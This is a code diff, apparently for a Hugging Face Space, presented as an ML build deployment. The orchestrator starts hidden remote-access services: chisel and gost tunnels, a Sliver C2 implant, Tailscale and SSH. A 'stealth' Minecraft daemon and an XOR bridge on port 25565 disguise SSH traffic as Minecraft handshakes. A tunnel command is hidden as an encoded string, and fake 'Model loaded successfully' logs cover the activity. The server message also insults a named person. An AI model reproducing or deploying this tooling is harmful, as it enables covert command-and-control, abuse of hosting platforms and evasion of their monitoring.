Automated deployment update from ML build

core/orchestrator.py

@@ -46,12 +46,12 @@ def main():
 	g=['A',Y,'C',N]
 	for F in g:
 		if F in os.environ:del os.environ[F]
-	filebrowser.start(H);playit.start(I);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
+	filebrowser.start(H);playit.start(I);playit.start_xor_bridge();chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
 	if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
 	else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
 	try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
 	except Exception as i:logger.error(f"Failed to set password: {i}")
 	for F in[Z,a]:
 		if F in os.environ:del os.environ[F]
-	subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);playit.start_xor_bridge();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
+	subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
 if __name__=='__main__':main()

services/minecraft.py

@@ -27,56 +27,58 @@ def setup_geyser(mc_dir):
 			try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
 			except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
 def setup_and_run():
-	U='online-mode=true';T='java';S='bin';N='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A='/data/mc';F=os.path.join(A,'jre');O=_B;os.makedirs(A,exist_ok=_A);os.makedirs(O,exist_ok=_A);K=os.path.join(F,S,T)
+	W='server-port=25565';V='online-mode=true';U='java';T='bin';O='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A='/data/mc';G=os.path.join(A,'jre');P=_B;os.makedirs(A,exist_ok=_A);os.makedirs(P,exist_ok=_A);K=os.path.join(G,T,U)
 	if not os.path.exists(K):
-		log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');V='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=os.path.join(A,'jre.tar.gz')
+		log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');X='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';H=os.path.join(A,'jre.tar.gz')
 		try:
-			download_file(V,G);log_print('[*] Extracting JRE...');H=os.path.join(A,'jre_temp');os.makedirs(H,exist_ok=_A)
-			with tarfile.open(G,'r:gz')as W:W.extractall(path=H)
-			for(P,d,X)in os.walk(H):
-				if T in X and os.path.basename(P)==S:
-					Y=os.path.dirname(P)
-					if os.path.exists(F):shutil.rmtree(F)
-					shutil.move(Y,F);break
-			shutil.rmtree(H,ignore_errors=_A)
-			if os.path.exists(G):os.remove(G)
+			download_file(X,H);log_print('[*] Extracting JRE...');I=os.path.join(A,'jre_temp');os.makedirs(I,exist_ok=_A)
+			with tarfile.open(H,'r:gz')as Y:Y.extractall(path=I)
+			for(Q,f,Z)in os.walk(I):
+				if U in Z and os.path.basename(Q)==T:
+					a=os.path.dirname(Q)
+					if os.path.exists(G):shutil.rmtree(G)
+					shutil.move(a,G);break
+			shutil.rmtree(I,ignore_errors=_A)
+			if os.path.exists(H):os.remove(H)
 			log_print('[*] Portable JRE setup completed successfully.')
 		except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
 	L=os.path.join(A,'server.jar')
 	if not os.path.exists(L):
-		log_print('[*] Minecraft server jar not found. Downloading PaperMC...');Z='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
-		try:download_file(Z,L);log_print('[*] PaperMC downloaded successfully.')
+		log_print('[*] Minecraft server jar not found. Downloading PaperMC...');b='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
+		try:download_file(b,L);log_print('[*] PaperMC downloaded successfully.')
 		except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
-	setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');Q='/tmp/mc_runtime';os.makedirs(Q,exist_ok=_A)
-	for E in['libraries','cache','versions']:
+	setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');R='/tmp/mc_runtime';os.makedirs(R,exist_ok=_A)
+	for F in['libraries','cache','versions']:
 		try:
-			D=os.path.join(A,E);M=os.path.join(Q,E);os.makedirs(M,exist_ok=_A)
+			D=os.path.join(A,F);M=os.path.join(R,F);os.makedirs(M,exist_ok=_A)
 			if os.path.exists(D)and not os.path.islink(D):
-				log_print(f"[*] Removing physical {E} directory to replace with symlink.")
+				log_print(f"[*] Removing physical {F} directory to replace with symlink.")
 				if os.path.isdir(D):shutil.rmtree(D)
 				else:os.remove(D)
-			if not os.path.islink(D):log_print(f"[*] Creating symlink for {E} -> {M}");os.symlink(M,D)
-		except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {E}: {B}")
+			if not os.path.islink(D):log_print(f"[*] Creating symlink for {F} -> {M}");os.symlink(M,D)
+		except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {F}: {B}")
 	log_print('[*] Ensuring Java binary is executable...')
 	try:os.chmod(K,493)
 	except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
-	log_print('[*] Launching Minecraft server loop...');a=os.path.join(O,'mc_daemon.log')
+	log_print('[*] Launching Minecraft server loop...');c=os.path.join(P,'mc_daemon.log')
 	while _A:
-		b=os.path.join(A,'eula.txt')
-		with open(b,N)as C:C.write('eula=true\n')
-		I=os.path.join(A,'server.properties')
-		if not os.path.exists(I):
-			with open(I,N)as C:C.write('server-port=25565\n');C.write('online-mode=false\n');C.write('motd=NITIN NEELRU JERK OFF\n')
+		d=os.path.join(A,'eula.txt')
+		with open(d,O)as C:C.write('eula=true\n')
+		J=os.path.join(A,'server.properties')
+		if not os.path.exists(J):
+			with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=NITIN NEELRU JERK OFF\n')
 		else:
 			try:
-				with open(I,'r')as C:J=C.read()
-				if U in J:
-					J=J.replace(U,'online-mode=false')
-					with open(I,N)as C:C.write(J)
-			except Exception as B:log_print(f"[-] Failed to enforce offline mode: {B}")
+				with open(J,'r')as C:E=C.read()
+				N=False
+				if V in E:E=E.replace(V,'online-mode=false');N=_A
+				if W in E:E=E.replace(W,'server-port=25566');N=_A
+				if N:
+					with open(J,O)as C:C.write(E)
+			except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
 		log_print('[*] Starting Minecraft server process...')
-		with open(a,'a')as c:R=subprocess.Popen([K,'-Xms4G','-Xmx4G','-jar',L,'nogui'],cwd=A,stdout=c,stderr=subprocess.STDOUT);R.wait()
-		log_print(f"[*] Minecraft server exited with code {R.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
+		with open(c,'a')as e:S=subprocess.Popen([K,'-Xms4G','-Xmx4G','-jar',L,'nogui'],cwd=A,stdout=e,stderr=subprocess.STDOUT);S.wait()
+		log_print(f"[*] Minecraft server exited with code {S.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
 def start():
 	B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
 	try:

services/playit.py

@@ -3,6 +3,8 @@ import subprocess,os,socket,threading
 from loguru import logger
 from.utils import decode_cmd
 XOR_KEY=90
+XOR_BRIDGE_PORT=25565
+SSH_PORT=2222
 def deobfuscate_secret(hex_str,key=90):
 	A=hex_str
 	if not A:return''
@@ -51,7 +53,7 @@ def _handle_client(client_sock):
 		if C>0:
 			D=_recv_exact(A,C)
 			if len(D)<C:logger.warning('Playit XOR bridge: short MC handshake ({} of {} bytes)',len(D),C)
-		B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',2222));B.settimeout(None);threading.Thread(target=_pipe_xor,args=(A,B),daemon=_A).start();threading.Thread(target=_pipe_xor,args=(B,A),daemon=_A).start()
+		B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',SSH_PORT));B.settimeout(None);threading.Thread(target=_pipe_xor,args=(A,B),daemon=_A).start();threading.Thread(target=_pipe_xor,args=(B,A),daemon=_A).start()
 	except Exception as E:
 		logger.warning('Playit XOR bridge client dropped: {}',E)
 		try:A.close()
@@ -59,8 +61,8 @@ def _handle_client(client_sock):
 def _xor_bridge_loop():
 	A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
 	try:
-		A.bind(('0.0.0.0',25564));A.listen(10)
+		A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
 		while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
 	except Exception:pass
-def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start()
+def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit XOR bridge listening on 0.0.0.0:{}',XOR_BRIDGE_PORT)
 def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)